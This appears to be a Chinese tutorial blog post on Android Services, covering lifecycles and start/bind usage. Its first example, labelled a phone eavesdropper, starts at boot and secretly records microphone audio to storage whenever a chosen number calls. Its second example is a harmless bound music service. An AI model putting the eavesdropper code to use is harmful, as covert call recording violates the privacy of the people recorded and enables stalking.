android中的service总结和小例子

什么是service?

service是被“后台服务”,它的运行不依赖ui界面,我个人还喜欢把它看着一种消息服务,因为你可以在任何有 Context 的地方调用 Context.startService、Context.stopService、Context.bindService,Context.unbindService,来控制它,你也可以在 Service 里注册 BroadcastReceiver。

service分类
a、按运行地点分类
本地服务(Local) 该服务依附在主进程上
远程服务(Remote)该服务是独立进程的(少见的,并且一般都是系统服务)
b、按运行类型分类
前台服务 会在通知一栏显示 ONGOING 的 Notificatio
后台服务 默认的服务即为后台服务,即不会在通知一栏显示 ONGOING 的 Notification
c、按使用方式分类(重要¥¥¥¥¥¥¥)
startService 启动的服务 主要用于启动一个服务执行后台任务,不进行通信。停止服务使用stopService

bindService 启动的服务 该方法启动的服务要进行通信(即外部可以调用service内部的方法)。停止服务使用unbindService

startService 同时也 bindService 启动的服务 停止服务应同时使用stepService与unbindService(这是混合服务)


三种开启服务的生命周期的区别
startService方式开启的服务,服务会长期在后台运行,直到用户手动停止服务或者调用stopService方法,其中onCreate方法只会执行一次,onstart()可能执行多次(对应调用startService的次数),并且系统只会创建Service的一个实例(因此你应该知道只需要一次stopService调用

bindService方式开启服务会执行服务的onCreate方法 和 onBind()方法 onstart方法不会执行当连接建立后,服务会一直存在,直到调用它的Context对象销毁(比如activity销毁)或者调用了Context.unbindService()方法,系统将会自动停止Service,对应onDestroy将被调用。

如果一个Service是混合方式启动,则该Service将会一直在后台运行。并且不管如何调用,onCreate始终只会调用一次,对应startService调用多少次,Service的onStart便会调用多少次。调用unbindService将不会停止Service,而必须调用 stopService 或 Service的 stopSelf 来停止服务。这样可以实现长期后台运行和实现通信的


Thread线程和Service的区别

Thread:Thread 是程序执行的最小单元,它是分配CPU的基本单位。可以用 Thread 来执行一些异步的操作

Service:Service 是android的一种机制,当它运行的时候如果是Local Service,那么对应的 Service 是运行在主进程的 main 线程上的。如:onCreate,onStart 这些函数在被系统调用的时候都是在主进程的 main 线程上运行的。如果是Remote Service,那么对应的 Service 则是运行在独立进程的 main 线程上。因此请不要把 Service 理解成线程。

startService方式开启服务(电话窃听器)

重要:四大组件都需要配置,因此在创建服务后需要在xml文件中配置

AndroidManifest.xml文件

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.alleged.phoneListener"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="21" />

    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" >
    </uses-permission>
    <!-- 对外部文件的写入和删除权限 -->
    <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS" >
    </uses-permission>
    <!-- 音频刻录权限 -->
    <uses-permission android:name="android.permission.RECORD_AUDIO" >
    </uses-permission>
    <!-- 接收手机完全开启状态权限 -->
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" >
    </uses-permission>
    <!-- 读取电话状态权限 -->
    <uses-permission android:name="android.permission.READ_PHONE_STATE" >
    </uses-permission>

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name=".MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <service android:name=".phonelistener"></service>
        <receiver android:name=".BootBrodcastReceiver">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED"></action>
            </intent-filter>
        </receiver>
    </application>

</manifest>

BootBrodcastReceiver设置开机启动服务的广播接受者

package com.alleged.phoneListener;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

public class BootBrodcastReceiver extends BroadcastReceiver {

    @Override
    public void onReceive(Context context, Intent intent) {
        // 接受到相应的广播后,调用onReceive()方法
        //这里调用要开启的服务
        //创建出相应的意图的对象 第一个参数是上下文 第二参数你要开启的类
        System.out.println("广播开启");
        Intent listenerIntent = new Intent(context,phonelistener.class);

        context.startService(listenerIntent);

    }

}

service phoneListenerService.java

package com.alleged.phoneListener;

import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.Date;

import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.util.Log;

public class phonelistener extends Service {
    private String TAG = "PhoneListenerService";// 这里设置一个Log标志,方便于调试

    @Override
    public IBinder onBind(Intent intent) {
        // TODO Auto-generated method stub
        return null;
    }

    /* 复写onCreate()方法,当这个服务被创建的时候就实现监听 */
    @Override
    public void onStart(Intent intent, int startId) {

    };

    @Override
    public void onCreate() {
        System.out.println("oncreate is working");
        /* 取得本机的电话服务 //创建电话管理者 */
        TelephonyManager telmanager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
        // 注册一个电话监听器 通过管理类的listen方法监听 这里要实现一个phoneStateListener对象,监听状态改变
        // 实现PhoneStateListener对象
        PhoneStateListener calllistener = new PhoneStateListener() {
            private String callNum;// 定义一个监听电话号码
            private boolean isRecord = false;// 定义一个当前是否正在复制的标志
            private MediaRecorder recorder;// 媒体复制类

            @Override
            public void onCallStateChanged(int state, String incomingNumber) {
                // 判断一下电话属于什么状态
                switch (state) {
                // 无任何状态
                case TelephonyManager.CALL_STATE_IDLE:
                    // 把来电号码设置为空
                    callNum = null;
                    // 判断录音是否为空和录音开关的状态
                    if (recorder != null && isRecord) {
                        Log.i(TAG, "录音完成");// 设定一个录音完成的标志,方便调试
                        recorder.stop();// 录音完成,
                        recorder.reset();// 通过reset()方法回到Initialized状态
                        recorder.release();// 释放所有和MediaRecorder对象绑定的资源
                        isRecord = false;// 录音完成,改变状态标志
                    }
                    break;
                // 代表响铃状态
                case TelephonyManager.CALL_STATE_RINGING:
                    // 获取来电的电话号码
                    this.callNum = incomingNumber;
                    break;
                // 代表接起电话
                case TelephonyManager.CALL_STATE_OFFHOOK:
                    // 判断来电号码,是否是要监听的电话号码
                    if (callNum.equals("1234567")) {
                        Log.i(TAG, "开始录音");
                        // 是要监听的电话,就开始录音
                        recorder = new MediaRecorder();
                        // 设置资源
                        // 定义声音来自于麦克风
                        recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
                        // 设置输出格式为3gp格式
                        recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
                        // 定我编码
                        recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
                        // 此处定义一个format类,方便对录音文件进行命名
                        SimpleDateFormat format = new SimpleDateFormat("yyMMddHHmmss");
                        String fileName = this.callNum + "_" + format.format(new Date());
                        System.out.println(
                                "/mnt/sdcard/luyin.3gp");
                        recorder.setOutputFile("/mnt/sdcard/luyin.3gp");
                        // 准备资源
                        try {
                            recorder.prepare();
                        } catch (IllegalStateException e) {
                            e.printStackTrace();
                        } catch (IOException e) {
                            e.printStackTrace();
                        }
                        recorder.start(); // 开始刻录
                        isRecord = true;// 标志录音成功
                        System.out.println("开始录制");
                    } else {
                        System.out.println("不是想要录音的电话号码");
                        Log.e(TAG, "不是想要录音的电话号码");
                    }

                }
                super.onCallStateChanged(state, incomingNumber);

            }


        };
        // 正式监听
        telmanager.listen(calllistener, PhoneStateListener.LISTEN_CALL_STATE);
        super.onCreate();
    }

}

(android的4.0后这个种服务安装启动的时候需要一个界面,为了安全)
package com.alleged.phoneListener;

import android.support.v7.app.ActionBarActivity;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;

public class MainActivity extends ActionBarActivity {

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);
    System.out.println("ma de zhi zhang");
    //监听器的实现步骤
    //第一步:注册一个广播接受者
    //设置为开机启动的广播
    //开启服务
    //在onstart 定一个电话监听类
    //在监听类中设置管理者
    //注册一个监听类
}

@Override
public boolean onCreateOptionsMenu(Menu menu) {
    // Inflate the menu; this adds items to the action bar if it is present.
    getMenuInflater().inflate(R.menu.main, menu);
    return true;
}

@Override
public boolean onOptionsItemSelected(MenuItem item) {
    // Handle action bar item clicks here. The action bar will
    // automatically handle clicks on the Home/Up button, so long
    // as you specify a parent activity in AndroidManifest.xml.
    int id = item.getItemId();
    if (id == R.id.action_settings) {
        return true;
    }
    return super.onOptionsItemSelected(item);
}

}

混合开启服务的小例子
mainActivity.java

package com.alleged.hybrid;

import android.support.v7.app.ActionBarActivity;

import com.alleged.musicService.Ibinder;
import com.alleged.musicService.music_Service;

import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.os.Bundle;
import android.os.IBinder;
import android.view.View;

public class MainActivity extends ActionBarActivity {
    private Context context;
    private Ibinder binder;
    private MyConn conn;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        context = this;
        //在页面启动就开启服务
        Intent intent = new Intent(context, music_Service.class);
        context.startService(intent);
    }

    public void startService(View v) {
        //开启服务
    }

    public void bindService(View v) {
        System.out.println("bindservice");
        Intent intent = new Intent(context, music_Service.class);
        conn = new MyConn();
        if(conn!=null){
            bindService(intent, conn, BIND_AUTO_CREATE);
        }

    }

    public void unbindService(View v) {
        conn = new MyConn();
        context.unbindService(conn);

    }

    public void stopService(View v) {
        Intent intent = new Intent(context, music_Service.class);
        context.stopService(intent);

    }
    public void play_music(View v){
        binder.playMusic();
    }
    public void stop_music(View v){
        binder.sleepmusic();
    }
    public void nextmusic(View v){
        binder.nextOne();
    }
    public void prevmusic(View v){
        binder.prev();
    }
/*  public class myconn implements ServiceConnection{
        //连接成功
        @Override
        public void onServiceConnected(ComponentName name, IBinder service) {
            System.out.println("连接成功 ");
            binder = (Ibinder) service;
            System.out.println("连接成功 ");
        }

        //连接失败
        @Override
        public void onServiceDisconnected(ComponentName name) {
            // TODO Auto-generated method stub

        }

    }*/
    private class MyConn implements ServiceConnection {

        // 当连接成功时候调用
        @Override
        public void onServiceConnected(ComponentName name, IBinder service) {
            // 获取我们定义的中间人对象

            binder = (Ibinder) service;

        }

        @Override
        public void onServiceDisconnected(ComponentName name) {

        }

    }
}

music_service.java

package com.alleged.musicService;

import android.app.Service;
import android.content.Intent;
import android.os.Binder;
import android.os.IBinder;
import android.widget.Toast;

public class music_Service extends Service {

    //IBinder类返回,提供接口调用方法内部的方法
    @Override
    public IBinder onBind(Intent intent) {
        // TODO Auto-generated method stub
        return new myIBinder();
    }
    public void play_Music(){
        System.out.println("音乐播放");
    }
    public void sleep_music(){
        System.out.println("音乐暂停");
    }
    public void next_One(){
        System.out.println("下一首");
    }
    public void prev_one(){
        System.out.println("上一首");
    }
    public class myIBinder extends Binder implements Ibinder{

        @Override
        public void playMusic() {
            play_Music();

        }

        @Override
        public void sleepmusic() {
            sleep_music();
        }

        @Override
        public void nextOne() {
            next_One();

        }

        @Override
        public void prev() {
            prev_one();

        }

    }


}

布局文件

<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:paddingBottom="@dimen/activity_vertical_margin"
    android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    tools:context="com.alleged.hybrid.MainActivity" >

    <Button
        android:id="@+id/button1"
        android:text="startService"
        android:onClick="startService"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_alignParentLeft="true"
        android:layout_alignParentTop="true" />

    <Button
        android:id="@+id/button2"
        android:onClick="bindService"
        android:text="bindService"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_alignBottom="@+id/button3"
        android:layout_alignParentLeft="true"
        android:layout_marginBottom="58dp" />

    <Button
        android:id="@+id/button3"
        android:onClick="unbindService"
        android:text="unbindService"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_alignLeft="@+id/button2"
        android:layout_below="@+id/button1"
        android:layout_marginTop="151dp" />

    <Button
        android:id="@+id/buttton4"
        android:onClick="stopService"
        android:text="stopService"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_above="@+id/button2"
        android:layout_alignParentLeft="true"
        android:layout_marginBottom="30dp" />

    <Button
        android:id="@+id/stop_music"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_alignLeft="@+id/next"
        android:layout_below="@+id/next"
        android:onClick="stop_music"
        android:text="暂停" />

    <Button
        android:id="@+id/prev"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_alignRight="@+id/buttton4"
        android:layout_below="@+id/button2"
        android:layout_marginTop="42dp"
        android:onClick="prevmusic"
        android:text="上一首" />

    <Button
        android:id="@+id/next"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_alignBaseline="@+id/prev"
        android:layout_alignBottom="@+id/prev"
        android:layout_marginLeft="31dp"
        android:layout_toRightOf="@+id/prev"
        android:onClick="nextmusic"
        android:text="下一首" />

    <Button
        android:id="@+id/play_music"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_alignBaseline="@+id/stop_music"
        android:layout_alignBottom="@+id/stop_music"
        android:layout_toLeftOf="@+id/next"
        android:onClick="play_music"
        android:text="播放" />

</RelativeLayout>

配置文件

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.alleged.hybrid"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="21" />

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name=".MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <service android:name="com.alleged.musicService.music_Service">
         </service>
    </application>

</manifest>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值